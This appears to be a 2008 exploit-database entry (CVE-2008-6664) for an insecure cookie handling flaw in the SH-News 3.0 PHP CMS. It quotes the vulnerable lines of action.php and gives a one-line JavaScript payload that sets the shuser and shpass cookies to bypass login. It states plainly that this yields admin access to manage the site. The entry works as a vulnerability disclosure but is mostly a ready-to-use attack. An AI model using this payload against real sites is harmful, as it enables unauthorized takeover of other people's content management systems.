SH-News 3.0 - Insecure Cookie Handling

Author: Virangar Security
type: webapps
platform: php
port: 
date_added: 2008-06-14 
date_updated:  
verified: 1 
codes: OSVDB-53467;CVE-2008-6664 
tags: 
aliases:  
screenshot_url:  
application_url: 

	     ########################################################################
             #                                                                      #
             #  ...:::::SH-News 3.0 Insecure Cookie Handling Vulnerability ::::.... #
             ########################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in action.php:
line 66: $shuser = $HTTP_COOKIE_VARS[shuser];
line 67: $shpass = $HTTP_COOKIE_VARS[shpass];
...
line 69: if((!$shuser) || (!$shpass)) { header("Location: login.php"); }
---
exploit:
javascript:document.cookie = "shuser=1; path=/"; document.cookie = "shpass=1; path=/";
-----
now you can access to action.php whit admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-15]